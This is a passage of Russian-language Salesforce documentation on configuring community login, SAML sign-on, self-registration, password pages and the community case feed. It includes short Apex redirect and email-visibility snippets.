Совет: Чтобы восстановить стандартную страницу входа для шаблона сообщества, выберите «Стандартная
страница».

4. Выберите регистрационные данные, которые могут использоваться внешними пользователями для входа или
регистрации.

Поумолчаниюпользователивыполняютвходв сообществопосредствомстандартныхименпользователейипаролей
для сообщества. Чтобы разрешить пользователям выполнение входа посредством других регистрационных данных
(например, Facebook©, Janrain© или регистрационные данные Salesforce из другой организации), выберите нужных
поставщиков проверки подлинности из списка.
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Важное замечание: Настройтеданныепараметрыпоставщикапроверкиподлинностипередихиспользованием
для входа в сообщество. Введите строку «Поставщики проверки подлинности» в поле «Быстрый поиск» в меню
«Настройка» и выберите «Поставщики проверки подлинности».

5. При необходимости разрешите внешним пользователям выполнять вход посредством единой регистрации SAML.

Данный параметр доступен только при успешной настройке SAML для сообщества на странице 3510.

• Параметры SAML для единойрегистрации, разрешающейвходитьв системуSalesforceпосредствомкорпоративного
поставщика удостоверений. Обратите внимание, что поле «URL-адрес входа для поставщика удостоверений»
является обязательным.

• Настраиваемое имя домена, изменяющее URL-адреса приложения для всех страниц, включая страницы входа.
Чтобы включить функцию «Мой домен», обратитесь в службу поддержки.

Чтобы обеспечить настройку поддержки нескольких конфигураций единой регистрации SAML, введите строку
«Параметры единой регистрации» вполе «Быстрый поиск» вменю «Настройка», выберитепункт «Параметрыединой
регистрации» и нажмите кнопку «Включить несколько конфигураций». Если данныйфлажок устанавливается
после включения поддержки SAML, то текущая конфигурация SAML начинает автоматически поддерживать разные
дополнительные конфигурации.

Пользователям отображается параметр «Вход посредством единой регистрации». При поддержке нескольких
параметровединойрегистрации SAML каждаякнопкавходаотображаетметку, содержащуюполе «Имя» конфигурации
SAML.

6. Нажмите кнопку «Сохранить».

Прим.: Переименованиеили удаление стандартной страницы входа может инициировать возникновение ошибок
при выполнении стандартного потока входа в сообщество.

СМ. ТАКЖЕ:

Настройка страниц входа, выхода и самостоятельной регистрации в сообществе

Настройка процесса входа посредством Apex

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания и
редактирования страниц
Visualforce:
• «Настройка

приложения»

Для редактирования классов
Apex:
• «Автор Apex»

И

«Настройка
приложения»

При необходимости предоставьте внешним участникам сообщества доступ к
настраиваемой странице входа, применяющей оформление и фирменный стиль
организации. Рекомендуем использовать Visualforce и Apex для настройки страницы
CommunitiesLogin и CommunitiesLoginController илисозданиясобственной
страницы Visualforce.

Чтобы перенаправить со стандартной страницы входа сообщества на настраиваемую
страницу входа, выполните указанные ниже действия.

1. Введите строку «Классы Apex» в поле «Быстрый поиск» в меню «Настройка» и
выберите пункт «Классы Apex».

2. Щелкните ссылку «Правка» напротив CommunitiesLoginController.
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3. Добавьте код ниже.

global PageReference forwardToCustomAuthPage() {
String startUrl = System.currentPageReference().getParameters().get('startURL');

return new PageReference(Site.getPathPrefix() + '/SiteLogin?startURL=' +
EncodingUtil.urlEncode(startURL, 'UTF-8'));

}

4. При создании настраиваемой страницы входа замените SiteLogin именем страницы Visualforce.

5. Нажмите кнопку «Сохранить».

6. Щелкните ссылку «Правка» напротив CommunitiesLandingController.

7. Добавьте код ниже.

public PageReference forwardToCustomAuthPage() {
String startUrl = System.currentPageReference().getParameters().get('startURL');

return new PageReference(Site.getPathPrefix() + '/SiteLogin?startURL=' +
EncodingUtil.urlEncode(startURL, 'UTF-8'));

}

8. При создании настраиваемой страницы входа замените SiteLogin именем страницы Visualforce.

9. Нажмите кнопку «Сохранить».

10. Введите строку «Страницы Visualforce» в поле «Быстрый поиск» в меню «Настройка» и выберите пункт
«Страницы Visualforce».

11. Щелкните ссылку «Правка» напротив CommunitiesLogin.

12. Добавьте фрагмент ниже в первую строку кода.

action="{!forwardToCustomAuthPage}"

13. Нажмите кнопку «Сохранить».

14. Щелкните ссылку «Правка» напротив CommunitiesLanding.

15. Добавьте фрагмент ниже в первую строку кода.

action="{!forwardToCustomAuthPage}"

16. Нажмите кнопку «Сохранить».
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Перенаправление участников сообщества на настраиваемый URL-адрес при выходе

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания, настройки
или активации сообщества:
• “«Создание и настройка

сообществ»

И

Участие в сообществе,
которому соответствует
открываемая страница
«Управление
сообществом»

Системапозволяет задавать URL-адрес, накоторыйдолжныперенаправлятьсяучастники
сообщества, выполняющие выход из сообщества.

По умолчанию участники сообщества, выполняющие выход, перенаправляются на
страницу входа сообщества. При необходимости выберите другую область для
перенаправления (например, корпоративный веб-сайт).

1. Чтобы открыть страницу «Управление сообществом», воспользуйтесь любым
указанным ниже способом.

• Щелкните значок в общем верхнем колонтитуле сообщества.

• Введите строку «Все сообщества» в поле «Быстрый поиск» в меню «Настройка»
и выберите пункт «Все сообщества». Затем щелкните ссылку «Управление»
напротив имени нужного сообщества.

2. Последовательновыберитепункты«Администрирование» > «Входирегистрация».

3. Введите нужный URL-адрес в разделе «Выход».

4. Нажмите кнопку «Сохранить».

СМ. ТАКЖЕ:

Настройка страниц входа, выхода и самостоятельной регистрации в сообществе
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Использование настраиваемых страниц изменения и восстановления пароля в
сообществе

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания, настройки
или активации сообщества:
• “«Создание и настройка

сообществ»

И

Участие в сообществе,
которому соответствует
открываемая страница
«Управление
сообществом»

Рекомендуем использовать настраиваемую страницу конструктора сообществ или
Visualforce вместо стандартных страниц изменения и восстановления пароля.

Страница восстановления пароля может быть настроена посредством конструктора
сообществилиVisualforce. Настраиваемая страницавосстановленияпароляконструктора
сообществможетиспользоватьсятолькопослееепубликациивконструкторесообществ.

Страница изменения пароля может быть настроена только посредством Visualforce.

1. Чтобы открыть страницу «Управление сообществом», воспользуйтесь любым
указанным ниже способом.

• Щелкните значок в общем верхнем колонтитуле сообщества.

• Введите строку «Все сообщества» в поле «Быстрый поиск» в меню «Настройка»
и выберите пункт «Все сообщества». Затем щелкните ссылку «Управление»
напротив имени нужного сообщества.

2. Последовательновыберитепункты«Администрирование» > «Входирегистрация».

3. Выберите нужный тип страницы: «Конструктор сообществ» или «Visualforce».

4. Введите имя страницыилипропустите данное поле для выполненияпоиска по всем
доступным страницам.

5.
Щелкните значок и выберите имя нужной страницы в результатах поиска.

6. Нажмите кнопку «Сохранить».

Чтобы восстановить стандартную страницу входа для шаблона сообщества, выберите
тип страницы «Стандартная страница».

СМ. ТАКЖЕ:

Настройка страниц входа, выхода и самостоятельной регистрации в сообществе

3478

Управление входом, самостоятельной регистрацией и
паролями в сообществе

Настройка и управление сообществами Salesforce



Настройка самостоятельной регистрации для сообщества

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания, настройки
или активации сообщества:
• “«Создание и настройка

сообществ»

И

Участие в сообществе,
которому соответствует
открываемая страница
«Управление
сообществом»

Включите самостоятельную регистрацию для предоставления нелицензированным
пользователям-гостямвозможностиприсоединенияксообществу. Принеобходимости
сохранитеих как контактыорганизации-компанииилисоздайтеорганизацию-лицодля
каждого саморегистрирующегося пользователя.

При включении самостоятельной регистрации данные страницы Visualforce и
контроллеры Apex связываются с используемым сообществом.

• Страница CommunitiesSelfReg и контроллер
CommunitiesSelfRegController: данная страница предоставляет форму для
регистрации партнеров или клиентов в сообществе. Чтобы изменить стандартный
процесс самостоятельной регистрации, измените контроллер Apex по имени
CommunitiesSelfRegController (начиная с выпуска Spring'15 является
необязательным).

Прим.: Настройки Apex для процесса самостоятельной регистрации имеют
преимущество над стандартными параметрами, заданными на странице
«Управление сообществом». При использовании организаций, созданных до
выпуска Spring'15, текущие настройки Apex для самостоятельной регистрации
будут применяться без изменения.

• Страница CommunitiesSelfRegConfirm и контроллер
CommunitiesSelfRegConfirmController: если пользователь не создает
пароль во время самостоятельной регистрации ввиду пропуска или отсутствия поля
пароля в форме самостоятельной регистрации, то данная страница подтверждает
отправкусообщенияэл. почтыосбросепароля. Пользователи, открывающиеданную
страницу, могут выполнять вход только после сброса пароля.

Стандартные страницы самостоятельной регистрации и контроллеры используются
всемисообществамиорганизации. Привключениисамостоятельнойрегистрациидлянесколькихсообществрекомендуем
дополнительно настроить интерфейс самостоятельной регистрации для перенаправления пользователей на другие
страницы, назначения разных профилей или наборов полномочий для других сообществ и т. д.

Прим.: Переименованиеилиудалениестандартнойстраницысамостоятельнойрегистрацииможетинициировать
возникновение ошибок при выполнении стандартного потока самостоятельной регистрации.

1. Чтобы открыть страницу «Управление сообществом», воспользуйтесь любым указанным ниже способом.

• Щелкните значок в общем верхнем колонтитуле сообщества.

• Введите строку «Все сообщества» в поле «Быстрый поиск» в меню «Настройка» и выберите пункт «Все
сообщества». Затем щелкните ссылку «Управление» напротив имени нужного сообщества.

2. Последовательно выберите пункты «Администрирование» > «Вход и регистрация».

3. Установитефлажок«Разрешитьвнешнимпользователямсамостоятельнуюрегистрацию»вразделе «Регистрация».

4. При необходимости выберите настраиваемую страницу самостоятельной регистрации для сообщества. Выберите
типстраницы («Конструкторсообществ»или «Visualforce»), введитеимя страницывполепоискаищелкните значок

. Чтобы выбрать страницу, щелкните имя нужной страницы в окне результатов поиска. Чтобы восстановить
стандартнуюстраницусамостоятельнойрегистрации (CommunitiesSelfReg), выберите«Стандартнаястраница».
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Результаты поиска отображают только опубликованные страницы конструктора сообществ. При использовании
настраиваемойстраницырекомендуемизменитьконтроллеры Apex поимени CommunitiesSelfRegController
и CommunitiesSelfRegConfirmController для самостоятельной регистрации.

5. Чтобы назначить саморегистрирующимся пользователям стандартный профиль, воспользуйтесь параметром
«Профиль».

Прим.: Разрешается выбирать только профили портала, связанные с сообществом. Удаление стандартного
профиля для саморегистрирующихся пользователей из сообщества инициирует автоматическое заполнение
параметра «Профиль» значением «Нет».

6. Чтобы выбрать организацию-компанию для назначения саморегистрирующимся пользователям, воспользуйтесь
параметром «Организация».

Саморегистрирующийся пользователь назначается как контакт указанной организации. Чтобы создать
организацию-лицо (приналичииподдержки) для каждого саморегистрирующегосяпользователя, пропуститеданное
поле.

Убедитесь, что используемая организация включена в качестве партнера. Откройте нужную организацию, а затем
последовательно нажмите кнопки «Управление внешней организацией» и «Включить как партнера».

7. Нажмите кнопку «Сохранить».

После настройки самостоятельной регистрации ссылка «Не участник?» перенаправляет внешних пользователей на
страницу самостоятельной регистрации со страницы входа. Ниже перечислены действия, выполняемые при
самостоятельной регистрации пользователя в сообществе.

• Система Salesforce создает запись нового пользователя на основе данных, указанных на странице самостоятельной
регистрации.

• Пользователь назначается профилю, указанному при настройке самостоятельной регистрации.

• Пользователь связывается с организацией-компанией или организацией-лицом (в зависимости от настроек).

• Лицензии Customer Community Plus и Partner Communityтребуютсвязываниязаписейпользователейсрольюорганизации.
Приотсутствии выбраннойроли в стандартномпрофиле самостоятельнойрегистрации система Salesforceназначает
роль «Исполнитель».

Прим.: Помните, чтокаждомусаморегистрирующемусяпользователюназначаетсяодналицензиясообществ. При
настройке страницы самостоятельной регистрации рекомендуем добавить критерии, позволяющие проверять
регистрирующихсяпользователей. Крометого, воизбежаниенесанкционированныхотправокформырекомендуем
дополнить страницу самостоятельной регистрации механизмом безопасности (например, CAPTCHA или скрытое
поле).

СМ. ТАКЖЕ:

Настройка страниц входа, выхода и самостоятельной регистрации в сообществе

Настройка процесса самостоятельной регистрации сообщества посредством Apex

Создание организаций-лиц для саморегистрирующихся пользователей
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Создание организаций-лиц для саморегистрирующихся пользователей

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Если клиентами компании главным образом являются отдельные лица, то система
позволяетназначатькаждомусаморегистрирующемусяпользователюорганизацию-лицо
взамен создания контактов в рамках одной организации-компании.

Важное замечание: Организация должна поддерживать организации-лица.
Создание организаций-лиц поддерживается только лицензиями «Клиентское
сообщество» и «Клиентское сообщество плюс».

Последовательновыберитепункты «Администрирование» > > «Входирегистрация»
на странице «Управление сообществом», включите функцию самостоятельной
регистрациииоставьтепустымполе«Организация». Назначьтесаморегистрирующимся
пользователям стандартный профиль.

Система Salesforce создает отдельные организации-лица для каждого саморегистрирующегося пользователя. Каждому
пользователю назначается стандартный профиль, выбранный при настройке функции самостоятельной регистрации,
атакжестандартнаяроль. Приотсутствиироли, заданнойпосредствомпрофиляиликонтроллера Apex длясамостоятельной
регистрации, система Salesforce назначаетсаморегистрирующимсяпользователямроль «Исполнитель». Чтобывыполнить
дополнительную настройку данной функции, воспользуйтесь контроллером Apex для самостоятельной регистрации
(CommunitiesSelfRegController).

Кроме того, можно вручную создать организации-лица и назначить их для пользователей сообщества с лицензиями
«Клиентское сообщество» и «Клиентское сообщество плюс».

СМ. ТАКЖЕ:

Что такое организация-лицо?

Включение организаций-лиц

Настройка процесса самостоятельной регистрации сообщества посредством Apex

Чтобы настроить стандартный процесс самостоятельной регистрации для сообщества, обновите
CommunitiesSelfRegController. Один контроллер может использоваться для стандартной страницы
самостоятельной регистрации (CommunitiesSelfReg) или настраиваемой страницы самостоятельной регистрации
Visualforce или конструктора сообществ.

Принеобходимостинастройтесамостоятельнуюрегистрациюнастранице «Управлениесообществом». Даннаянастройка
должна применяться только при изменении стандартного алгоритма самостоятельной регистрации, при наличии
нескольких сообществ в организации или при использовании настраиваемой страницы самостоятельной регистрации.

Прим.: Добавление, редактированиеиудалениеApexпосредствомпользовательскогоинтерфейсаSalesforceдоступно
толькоорганизациям Developer Edition, пробныморганизациямSalesforce Enterprise Edition ибезопасныморганизациям.
ПроизводственнаяорганизацияSalesforceпозволяетизменятьApex толькопосредствомвызоваMetadata API (deploy),
Force.com IDE или Force.com Migration Tool. Force.com IDE и Force.com Migration Tool — это бесплатные ресурсы,
предоставляемыесистемой Salesforceдляподдержкипользователейипартнеров. СогласноОсновному соглашению
о подписке, данные ресурсы не относятся к службам Salesforce.

1. Введите строку «Классы Apex» в поле «Быстрый поиск» в меню «Настройка» и выберите пункт «Классы Apex».

2. Щелкните ссылку «Правка» напротив CommunitiesSelfRegController.

3. Чтобы определить нужный тип профиля, введите значение для ProfileId.

Выборстандартногопрофиляпринастройке самостоятельнойрегистрациина странице «Управление сообществом»
инициирует переопределение стандартного значения значением из кода Apex.
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Прим.: Обратите внимание, что, независимо от роли, введенной для roleEnum, по умолчанию новым
пользователям назначается роль «Нет». При самостоятельной регистрации роль пользователя может быть
обновлена на странице сведений о пользователе.

4. Введите код организации для нужной организации-клиента или организации-партнера.

Выборстандартнойорганизациипринастройкесамостоятельнойрегистрациинастранице «Управлениесообществом»
инициирует переопределение стандартного значения значением из кода Apex.

Убедитесь, что используемая организация включена в качестве партнера. Откройте нужную организацию, а затем
последовательно нажмите кнопки «Управление внешней организацией» и «Включить как партнера».

5. Привключениисамостоятельнойрегистрациидлянесколькихсообществдобавьтекоддлясозданиясоответствующих
типов пользователей для каждого сообщества, включая назначение профиля, роли и кода организации каждому
сообществу.

6. Нажмите кнопку «Сохранить».

7. Разрешите профилю гостя доступ к организациям и контактам. Профиль гостя автоматически связывается с сайтом
Force.com сообщества.

a. Введите строку «Все сообщества» в поле «Быстрый поиск» в меню «Настройка» и выберите пункт «Все
сообщества». Затем щелкните ссылку «Управление» напротив имени нужного сообщества.

b. Последовательновыберитепункты«Администрирование» > «Страницы» > «ПерейтикForce.com»настранице
«Управление сообществом».

c. Щелкните «Параметры общего доступа».

d. Щелкните «Правка».

e. Установитефлажки «Чтение» и «Создание» напротивобъектов «Организации» и «Контакты» вразделе «Полномочия
стандартного объекта».

f. Нажмите кнопку «Сохранить».

g. Нажмите кнопку «Правка» в связанном списке «Доступ к классу Apex включен».

h. Добавьте CommunitiesSelfRegController и нажмите кнопку «Сохранить».

i. Нажмите кнопку «Правка» в связанном списке «Доступ к странице Visualforce включен».

j. Добавьте CommunitiesSelfReg и нажмите кнопку «Сохранить».

8. Чтобы настроить содержимое стандартной страницы самостоятельной регистрации, измените страницу
CommunitiesSelfReg.

a. Введите строку «Страницы Visualforce» в поле «Быстрый поиск» в меню «Настройка» и выберите пункт
«Страницы Visualforce».

b. Щелкните ссылку «Правка» напротив CommunitiesSelfReg.

c. Добавьте код для настройки обязательных полей.

Все поля стандартной формы, кроме поля «Пароль», являются обязательными.

d. Нажмите кнопку «Сохранить».

По завершении настройки внешние пользователи, отправляющие заполненнуюформу самостоятельной регистрации
(включая пароль), выполняют вход в сообщество.

Прим.: При самостоятельной регистрации пользователя для сообщества, поддерживающего Chatter Answers,
полномочие «Пользователь Chatter Answers» не назначается пользователю автоматически.
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При использовании настраиваемой страницы самостоятельной регистрации Visualforce взамен стандартной страницы
CommunitiesSelfReg рекомендуем дополнить CommunitiesSelfRegController кодом ниже. Замените
CommunitiesCustomSelfRegPage именемнастраиваемойстраницысамостоятельнойрегистрации. Затемдобавьте
полученный результат в первую строку кода на странице CommunitiesSelfReg.

Использование других функций Salesforce в сообществе

Включение обращений для пользователей сообществ

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для включения обращений
для пользователей
сообществ:
• «Управление

профилями и наборами
полномочий»

Благодаря включению обращений, внешние пользователи могут просматривать и
создавать обращения в сообществах.

Привключенииобращенийдля внешнихпользователейсообщества системапозволяет
назначать обращения данным участникам. Кроме того, внешние участники могут
редактировать, создаватьилипереназначатьобращения, а такжедобавлять комментарии
к обращениям, находить решения и создавать группы, работающие с обращениями.
Внешние пользователи не могут редактировать комментарии к обращениям, связывать
обращения с активами и удалять обращения.

Прим.: Комментарии к обращениям, добавленные внешними пользователями в
сообществах, являются общедоступными и могут быть просмотрены любыми
пользователями, которым доступны соответствующие обращения.

1. Добавьте вкладку «Обращения» в список доступных вкладок сообщества.

2. Выберите доступность вкладки, а также назначьте полномочия объекта «Чтение»,
«Создание» и «Редактирование». Чтобы назначить полномочия, воспользуйтесь
профилемилинаборомполномочий. Еслиданныеполномочиядолжныприменяться
выборочно, рекомендуем использовать набор полномочий.

a. При использовании профиля (например, профиль Partner Community) задайте
уровню доступности вкладки «Обращения» значение «Включены стандартные
параметры» и включите полномочия «Чтение», «Создание» и «Редактирование»
для обращений.

b. При использовании набора полномочий создайте набор полномочий с перечисленными ниже параметрами.

• Установите флажки «Доступно» и «Отображается» в разделе «Параметры вкладки».

• Выберите полномочия «Чтение», «Создание» и «Редактирование» в разделе «Параметры объекта».

При включениифункции уведомления контактов о добавлении новых комментариев к обращениям сообщения эл.
почты, отправляемые внешним пользователям, содержат ссылку на сообщество. Сообщения эл. почты, отправляемые
контактам для уведомления о создании и обновлении обращений, также содержат ссылку на сообщество.

СМ. ТАКЖЕ:

Поля слияния для сообществ

Включение электронных уведомлений о добавлении ответов на портал в ленте обращений
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Настройка ленты обращений сообщества

Лента обращений сообщества

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Лента обращений сообщества позволяет агентам и пользователям сообщества
просматривать весь жизненный цикл обращения: все взаимодействия обращений
отображаютсяпосредствомуниверсальнойхронологическойлентыобращенийChatter.
Пользователям сообщества доступны дополнительные функции Chatter, тогда как
функции по поддержке позволяют агентам предоставлять более эффективную и
индивидуальную помощь.

Лента обращений сообщества предоставляет пользователям сообщества интуитивно
понятную универсальную среду, позволяющую управлять обращениями. Внутренние
и внешние пользователи видят следующие взаимодействия в потоке обращений
сообщества.

• Сообщения Chatter, содержащие текст, файлы или ссылки

• Связанные с обращением вопросы в Chatter.

• Электронные обращения

Прим.: Чтобы узнать подробнее о доступности сообщений электронной почты, см. Сообщения электронной
почты в потоке общественного обращения.

Сообщения социальной сети для обращений, доступные только для чтения, также отображаются при их раскрытии
администратором Salesforce.

Поток обращения сообщества в сообществе, созданном в соответствии сшаблоном Napili.
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Публикатор (1)позволяет пользователям создавать сообщенияи добавлятьфайлывобращение. Лента (2)поддерживает
все инструменты сотрудничества Chatter: пользователи могут комментировать, добавлять закладки и выбирать
понравившиеся сообщения, а также упоминать других пользователей. Изображения и комментарии отображаются
встроенными, позволяя быстро сканировать ленту на наличие определенной информации. Компонент «Вложения» (3)
отображает все связанные вложения.

Когда поток обращений сообщества включен, агенты поддержки могут выполнять следующие задачи.

• Использовать действие «Сообщество» в потоке обращения консоли для ответа на запросы сообщества и создания
личных и общих сообщений Chatter для обращений.

• Отображать или скрывать опубликованное сообщение или письмо эл. почты в потоке обращений сообщества для
внешних пользователей.

Лента обращений сообщества доступна во всех сообществах, созданных на основе шаблонов сообщества для
самообслуживания или шаблона «Вкладки Salesforce + Visualforce».
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Известные проблемы

• Всообществах, созданныхнаосновешаблонов, электронныесообщениявлентеобращенийсообществанеотображают
встроенные изображения или активные ссылки.

• Прииспользованиисообщества, созданногонаосновешаблона Koa или Kokua, именапользователейвлентеобращений
сообщества отображаются в виде ссылок, но не поддерживают возможность перехода.

СМ. ТАКЖЕ:

Рекомендации по использованию ленты обращений сообщества

Настройка ленты обращений сообщества

Отображение или скрытие опубликованного сообщения или сообщения эл. почты в ленте обращений сообщества

Настройка ленты обращений сообщества

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для включения ленты
обращений сообщества
сделайте следующее.

• «Настройка
приложения»

• Поддержка компактной
ленты обращений в
организации

Потокобращенийсообществапозволяетпользователямсообществаиагентамподдержки
видеть все взаимодействия по обращению в едином потоке и позволяет агентам
предпринимать более широкий набор действий прямо из консоли. Чтобы настроить
поток обращений сообщества, включите его в вашей организации и убедитесь, что
страница обращений в вашем сообществе настроена правильно.

Важное замечание: Перед настройкой ленты обращений сообщества прочтите
Рекомендации по ленте обращений сообщества.

1. Включите ленту обращений сообщества.

a. Введите строку «Параметры поддержки» в поле «Быстрый поиск» меню
«Настройка» и выберите пункт «Параметры поддержки».

b. Установите флажок «Включить ленту обращений сообщества».

c. Принеобходимостиустановитефлажок«Включитьэлектронныеуведомления
для сообщений-обращений» (рекомендуется).

d. Нажмите кнопку «Сохранить».

2. Есливаше сообщество создано спомощьювкладок Salesforce и Visualforce, убедитесь,
что страница вашего обращения содержит ленту Chatter.

3. Если ваше сообщество использует шаблоны Koa, Kokua или Napili, убедитесь, что
вашаактивная страницаподробностейподдерживаетлентуобращенийсообщества.

a.

В Конструкторе сообществ щелкните .

b. Щелкните «Управление страницей».

c. Найдите «Сведения об обращении» в поле «Имя» и убедитесь, что активная страница, назначенная ему, — либо
«Сведения об обращении Chatter» (по умолчанию), либо «Сведения о записи».

Если вы измените страницу подробных сведений активного обращения, изменения следует опубликовать.
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Важное замечание: Если лента обращений сообщества включена, а вы используете «Базовые сведения об
обращениях» в качестве активной страницы сведений об обращении, внешние пользователи видят только
комментарии, а не сообщения Chatter или письма эл. почты в своей ленте обращения. Это дает внешним
пользователямгораздоменьшедоступаксвоимобращениям. Чтобыдатьпользователямполноепредставление
о своих взаимодействиях, используйте Сведения об обращении Chatter или Сведения записи в качестве
активной страницы сведений об обращении.

Рекомендации по использованию ленты обращений сообщества

ВЕРСИИ

Доступно в: Salesforce
Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Преждечемнастроитьлентуобращенийсообщества, просмотритеважнуюинформацию
ниже.

При включении ленты обращений сообщества:

• Агентымогутиспользоватьдействие «Сообщество» влентеобращенийконсолидля
публикацииответовна вопросысообществаисозданияобщедоступныхилиличных
сообщений Chatter для обращений.

• Агенты могут отображать или скрывать опубликованные сообщения Chatter и
сообщения эл. почты в ленте обращений внешних пользователей сообщества.

• Внешние пользователи сообщества, имеющие доступ к обращению, могут
просматривать связанныесообщенияChatter, вопросыисообщенияэл. почтывсвоей
ленте обращений.

При включении электронных уведомлений для сообщений-обращений:

• Контактобращенияуведомляетсяпоэл. почтеприпубликациисообщения, поддерживающеговнешнееотображение,
для его обращения. Пользователи могут комментировать сообщение путем отправки ответа по эл. почте.

• Прииспользованиинастраиваемыхпараметров электронных уведомлений (например, параметры, инициированные
бизнес-правилами) выборданногопараметраможетинициироватьсозданиеповторяющихсяэлектронныеуведомлений.

• Пользователисообществ, созданныхнаосновешаблона «Napili» или «Вкладки Salesforce + Visualforce», могут выключать
данныеуведомлениянастраницепараметровэлектронныхуведомленийпутемснятияфлажка«добавляетсообщение
для одного из моих обращений» в разделе «Уведомлять меня по эл. почте, если кто-то...».

СМ. ТАКЖЕ:

Сообщения эл. почты в ленте обращений сообщества

Отображение или скрытие опубликованного сообщения или сообщения эл. почты в ленте обращений сообщества

Настройка ленты обращений сообщества

Сообщения эл. почты в ленте обращений сообщества
При включении ленты обращений сообщества внешние пользователи, имеющие доступ к обращению, могут
просматривать электронные обращения в своей ленте. Сообщения эл. почты в ленте обращений сообщества содержат
автора, получателей, текст и время отправки сообщения эл. почты.

По умолчанию электронное обращение, отправленное или полученное контактом обращения, отображается в ленте
всех пользователей (как внутренних, так и внешних), имеющих доступ к обращению. Внешний пользователь может
просмотреть обращение только при наличии соответствующего доступа к обращениям сообщества в профиле.

Например, внешний пользователь публикует вопрос в сообществе. Вопрос остается нерешенным, поэтому модератор
сообщества создает обращение посредствомфункции создания обращения из вопроса. Если агент службы поддержки,
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назначенный обращению, отправляет сообщение эл. почты внешнему пользователю посредством публикатора «Эл.
почта», товнешнийпользовательивседругиепользователи, имеющиедоступкобращению, могутпросмотретьсообщение
эл. почты в ленте обращений. Как правило, к пользователям, имеющим доступ к обращению, относятся: назначенный
агент службы поддержки и контакт обращения.

При включении ленты обращений сообщества рекомендуем создать триггер Apex или процесс, позволяющий скрывать
илиотображатьвсеэлектронныеобращениявлентахвнешнихпользователейсообщества. Поле IsExternallyVisible
объекта EmailMessage определяетдоступность сообщенийэл. почтывлентеобращенийсообщества. Еслиданномуполю
задано значение true, то сообщения эл. почты, отправленные или полученные контактом обращения, отображаются
внешним пользователям, имеющим доступ к обращению.

Пример: Триггернижеотображает все электронныеобращениявлентах внешнихпользователей, имеющихдоступ
к обращению. Другими словами, электронные обращения, пересылаемые между внутренними пользователями,
будут такжеотображаться внешнимпользователям, имеющимдоступкобращению (например, прииспользовании
публикатора «Эл. почта» назначенным агентом службы поддержки для отправки сообщения эл. почты поставщику
услуг). Чтобы скрыть все электронные обращения в лентах обращений внешнихпользователей, измените значение
true на значение false.

trigger makepublic on EmailMessage (before Insert) {
for(EmailMessage oe:trigger.new){
oe.IsExternallyVisible=true;
}

}

СМ. ТАКЖЕ:

Отображение или скрытие опубликованного сообщения или сообщения эл. почты в ленте обращений сообщества
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Отображение или скрытие опубликованного сообщения или сообщения эл. почты в ленте
обращений сообщества

ВЕРСИИ

Доступно в: Salesforce
Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для редактирования
внешней доступности
опубликованного
сообщения Chatter или
сообщения эл. почты для
обращения:

• «Редактирование моих
собственных
сообщений»

• «Редактирование
сообщений для
собственных записей»

• Поддержка компактной
ленты обращений в
организации

• Поддержка ленты
обращений сообщества
в организации

Принеобходимостиагентыслужбыподдержкимогутотображатьилискрыватьотдельные
электронные обращения и опубликованные сообщения Chatter в ленте обращений
пользователей сообщества.

Чтобы изменить внешнюю доступность опубликованного сообщения Chatter или
сообщения эл. почты для обращения, выполните указанные ниже действия.

1. Выберите нужное сообщение или сообщение эл. почты в компактной ленте
обращений.

2. В раскрывающемся меню сообщения или сообщения эл. почты:

• Выберите параметр «Сделать общедоступным» для отображения внутреннего
сообщения Chatter или сообщения эл. почты в ленте обращений внешних
пользователей, имеющих доступ к обращению.

• Выберите параметр «Сделать личным» для удаления сообщения Chatter или
сообщения эл. почты из ленты обращений внешних пользователей, имеющих
доступ к обращению.

Параметр «Сделать общедоступным» для сообщения Chatter:

Параметр «Сделать общедоступным» для электронного обращения:
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Параметры «Сделать общедоступным» и «Сделать личным» отображаются агенту, несущему ответственность за
обращение, иегоруководителямвовсехэлектронныхобращенияхисообщенияхChatterдляобращения. Данныепараметры
также отображаются внутренним пользователям, которые не несут ответственность за обращение, в собственных
сообщениях-обращениях или сообщениях эл. почты.

Назначение сообщениям эл. почты и сообщениям Chatter статуса личных
Выборпараметра«Сделатьличным»длясообщенияChatterилисообщенияэл. почтыинициируетудалениесообщения
или сообщения эл. почты из ленты обращений контакта обращения и любого другого внешнего пользователя,
имеющего доступ к обращению. (Тем не менее, оно отображается в лентах внутренних пользователей, имеющих
доступкобращению.) Агентможетназначитьсообщениюилисообщениюэл. почтывлентеобращенийсообщества
статус личного для удаления его переписки с контактом обращения из ленты обращений других внешних
пользователей, имеющих доступ к обращению.

Прим.: Помните, чтоприназначениисообщениюэл. почтыстатусаличногосообщениеэл. почтыужеполучено
адресатами. Аналогично, при назначении сообщению Chatter статуса личного помните, что внешним
пользователям, имеющим доступ к обращению, могло быть отправлено электронное уведомление при его
первой публикации.

Назначение сообщениям эл. почты и сообщениям Chatter статуса общедоступных
Выбор параметра «Сделать общедоступным» для сообщения Chatter или сообщения эл. почты инициирует
отображение сообщения или сообщения эл. почты в ленте обращений контакта обращения и любого другого
